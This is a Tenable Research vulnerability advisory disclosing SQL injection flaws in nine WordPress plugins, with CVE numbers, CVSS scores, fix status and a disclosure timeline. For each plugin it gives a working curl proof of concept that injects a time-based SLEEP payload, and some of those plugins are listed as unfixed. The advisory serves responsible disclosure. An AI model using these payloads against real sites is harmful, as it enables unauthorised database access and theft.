Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

SQL Injection in Multiple WordPress Plugins

Critical

Synopsis

Joshua Martinelle of Tenable Research discovered multiple SQL Injection vulnerabilities across a number of WordPress plugins. This advisory will track each vulnerability as information and fixes become available.


Paid Memberships Pro : CVE-2023-23488 - Unauthenticated SQL Injection
Reference: https://wordpress.org/plugins/paid-memberships-pro
Affected Versions: < 2.9.8
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

The plugin does not escape the 'code' parameter in the /pmpro/v1/order REST route before using it in a SQL statement, leading to an unauthenticated SQL injection vulnerability. 

Proof of Concept:
Where TARGET_HOST is the address of the wordpress host with Paid Memberships Pro installed, the following proof of concept uses the SLEEP function to demonstrate the SQL injection. Changing the value passed to sleep will alter how long the request takes to return.

curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)--%20-"

For example, running this twice with the "time" command will show the difference in response times:

time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(1)))a)--%20-"
{}
real    0m3.068s
user    0m0.006s
sys    0m0.009s

time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)--%20-"
{}
real    0m6.095s
user    0m0.006s
sys    0m0.009s

Easy Digital Downloads: CVE-2023-23489 - Unauthenticated SQL Injection
Reference:
https://wordpress.org/plugins/easy-digital-downloads/
Affected Versions: 3.1.0.2 & 3.1.0.3
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

The plugin does not escape the 's' parameter in the 'edd_download_search' action before using it in a SQL statement, leading to an unauthenticated SQL injection vulnerability. 
The vulnerable part of the code corresponds to the 'edd_ajax_download_search()' function of the './includes/ajax-functions.php' file.

Proof of Concept:
Where TARGET_HOST is the address of the wordpress host with Paid Memberships Pro installed, the following proof of concept uses the SLEEP function to demonstrate the SQL injection. Changing the value passed to sleep will alter how long the request takes to return. 

Note: The same SQL injection/unique request will not work twice in a row right away, as the 'edd_ajax_download_search()' function stores the most recent search for 30 seconds (so to run the same payload again, you will have to modify the payload slightly or wait 30 seconds).

curl "http://TARGET_HOST/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)--+-"

Survey Maker: CVE-2023-23490 - Authenticated SQL Injection
Reference: 
https://wordpress.org/plugins/survey-maker
Affected Versions: < 3.1.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

The plugin does not escape the ‘surveys_ids’ parameter in the 'ays_surveys_export_json' action before using it in a SQL statement, leading to an authenticated SQL injection vulnerability.
 
The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=ays_surveys_export_json&surveys_ids[0]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+-"


ReviewX: CVE-2023-26325 - Authenticated SQL Injection
Reference: 
https://wordpress.org/plugins/reviewx/
Affected Versions: <= 1.6.6
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

The plugin does not escape the 'filterValue' or 'selectedColumns' parameters in the rx_export_review action before using them in a SQL statement, leading to a SQL injection.

The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=rx_export_review&filterValue[0]=&filterValue[1]=&filterValue[2]=&filterValue[3]=&filterValue[4]=all&filterValue[5]=&filterValue[6]=aaaa&filterValue[7]=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&filterValue[8]=desc&selectedColumns[0]=id"

Waiting: One-click Countdowns: CVE-2023-28659 - Authenticated SQL Injection
Reference: 
https://wordpress.org/plugins/waiting/
Affected Versions: <= 0.6.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

The pbc_down[meta][id] parameter of the pbc_save_downs action is vulnerable to SQL injection.

The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=pbc_save_downs&pbc_down[meta][id]=1+OR+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)--"

Events Made Easy: CVE-2023-28660 - Authenticated SQL Injection
Reference: 
https://wordpress.org/plugins/events-made-easy/
Affected Versions: <= 2.3.14
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

The plugin does not escape the 'search_name' parameter in the eme_recurrences_list action before using it in a SQL statement, leading to a SQL injection vulnerability. 

The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php?action=eme_recurrences_list&search_name=1'{+}AND{+}(SELECT+1+FROM+(SELECT(SLEEP(0.5)))a)-{-}+{-}" --header "$WP_COOKIE"

WP Popup Banners: CVE-2023-28661 - Authenticated SQL Injection
Reference: 
https://wordpress.org/plugins/wp-popup-banners/
Affected Versions: <= 1.2.5
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

The plugin does not escape the 'value' parameter in the get_popup_data action before using it in a SQL statement, leading to a SQL injection vulnerability.

The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=get_popup_data&value=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)" 

Gift Cards (Gift Vouchers and Packages): CVE-2023-28662 - Unauthenticated SQL Injection
Reference: 
https://wordpress.org/plugins/gift-voucher/
Affected Versions: <= 4.3.1
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

The plugin does not escape the ‘template’ parameter in the wpgv_doajax_voucher_pdf_save_func action before using it in a SQL statement, leading to a SQL injection vulnerability.
 
The vulnerability does not require authentication to trigger.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user, and where $BASE64_INJECTION is the base64 encoded SQL injection, for example:
LTEgT1IgU0xFRVAoMik= translates to -1 OR SLEEP(2)

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --data "action=wpgv_doajax_voucher_pdf_save_func&template=$BASE64_INJECTION"

or with a proper payload:

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --data "action=wpgv_doajax_voucher_pdf_save_func&template=LTEgT1IgU0xFRVAoMik="


Formidable PRO2PDF: CVE-2023-28663 - Authenticated SQL Injection
Reference: 
https://wordpress.org/plugins/formidablepro-2-pdf/
Affected Versions: < 3.11
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

The plugin does not escape the ‘fieldmap’ parameter in the fpropdf_export_file action before using it in a SQL statement, leading to a SQL injection vulnerability.

The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the 'subscriber' privilege level.

Proof of concept:
A simple curl command can be used to demonstrate the issue (though it requires a valid / current WP session cookie). In the proof of concept below, replace $TARGET_HOST with the target wordpress instance, and $WP_COOKIE with the full cookie header (i.e. "Cookie : wordpress_xyz...") for a logged-in WP user.

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=fpropdf_export_file&fieldmap=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)" 

Solution

Fixed

Paid Memberships Pro: Fixed in version 2.9.8

Easy Digital Downloads: Fixed in version 3.1.0.4

Survey Maker: Fixed in version 3.1.2

Formidable PRO2PDF: Fixed in version 3.11

Unfixed

Waiting:One-click Countdowns Unfixed (Plugin closed as of December 19, 2022)

Events Made Easy: Unfixed (Plugin closed as of December 19, 2022)

WP Popup Banners: Unfixed (Plugin closed as of December 19, 2022)

Gift Cards: Unfixed

ReviewX: Unfixed

Disclosure Timeline

19 December 2022 - Reported issues to WordPress
20 December 2022 - WordPress acknowledges the reports
21 December 2022 - Survey Maker fix released in 3.1.2
27 December 2022 - Paid Memberships Pro fix released in 2.9.8
5 January 2023 - Easy Digital Downloads fix released in 3.1.0.4
26 January 2023 - Review fix released in 1.6.4
20 March 2023 - 90 Day Disclosure date

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2023-2
Credit:
Joshua Martinelle
CVSSv3 Base / Temporal Score:
9.8
8.8
CVSSv3 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Paid Memberships Pro WordPress Plugin
Easy Digital Downloads WordPress Plugin
Survey Maker WordPress Plugin
Reviewx WordPress Plugin
Waiting: One-click Countdowns WordPress Plugin
Events Made Easy WordPress Plugin
WP Popup Banners WordPress Plugin
Gift Cards (Gift Vouchers and Packages) WordPress Plugin
Formidable PRO2PDF WordPress Plugin
Risk Factor:
Critical

Advisory Timeline

12 January 2023 - Advisory Published
16 January 2023 - Corrected affected versions for Easy Digital Downloads
22 February 2023 - Added CVE-2023-26325
20 March 2023 - Added multiple CVEs
12 April 2023 - Corrected ReviewX affected/fixed versions and Proof of Concept
5 July 2023 - Fixed the Gift Cards proof of concept, reference for Formidable PRO2PDF

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training